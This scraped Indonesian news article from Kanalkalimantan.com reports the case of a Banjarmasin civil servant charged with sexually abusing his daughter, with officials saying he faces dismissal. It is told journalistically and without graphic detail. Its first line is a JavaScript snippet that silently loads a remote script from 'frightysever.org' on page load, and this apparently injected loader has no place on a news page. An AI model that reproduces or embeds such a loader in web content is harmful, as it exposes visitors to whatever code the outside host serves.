(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARAMSIN – Kasus asusila yang dilakukan tersangka AS (45)- yang masih berstatus Aparatur Sipil Negara (ASN) Pemko Banjarmasin, menjadi perhatian serius Wali Kota Banjarmasin Ibnu Sina. AS bahkan terancam akan dipecat!
Sebagaimana diketahui, AS tega melakukan perbuatan cabul terhadap putri kandungnya sendiri. Kasus ini pun sedang ditangani oleh polisi.
Wali Kota Ibnu Sina mengatakan, AS nantinya akan dikenakan sanksi kode etik sehabis sidang pidana di Pengadilan Negeri (PN) Banjarmasin.
“Tentu pelaku yang berstatus ASN tersebut nantinya akan kenakan sanksi kode etik, tapi setelah sidang kasusnya di pengadilan,†tegasnya, Selasa (9/2/2021).
Sementara itu, Penjabat Sekretaris Daerah Kota Banjarmasin Mukhyar menyampaikan, AS yang yang bertugas di Kecamatan Banjarmasin Utara tersebut terancam pemecatan secara tidak hormat.
“Jika sudah menyangkut masalah hukum apalagi pidana, maka sanksi tegas pun bakal dilakukan. Yakni pemecatan,†katanya.
Ia mengatakan, AS memang dikenal sebagai ASN bermasalah. “Sebelumnya yang bersangkutan pernah dihukum Majelis Pertimbangan Penjatuhan Hukuman Disiplin Pegawai (MPPHDP) Pemko, Karena melanggar disiplin kepegawaian. Yang bersangkutan kerap tidak masuk kerja,†bebernya.
Jajaran Satreskrim Polresta Banjarmasin sudah melakukan gelar perkara kasus pencabulan tersebut, Senin (8/2/2021) lalu. Polisi juga berencana akan melakukan pemeriksaan kejiwaan kepada AS. Hal ini karena perilaku AS kepada anak kandungnya tersebut telah dilakukan sejak anaknya duduk di bangku Kelas VI SD hingga Kelas VIII SMP.
Dan menurut pengakuannya sendiri, AS mengaku sering menonton film porno, sehingga menyalurkan nafsu bejat ke anak kandungnya sendiri. AS dijerat pasal 81 ayat 4 undang-undang Perlindungan Anak Nomor 35 tahun 2014, dengan ancaman 20 tahun pidana penjara.(Kanalkalimantan.com/putra)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.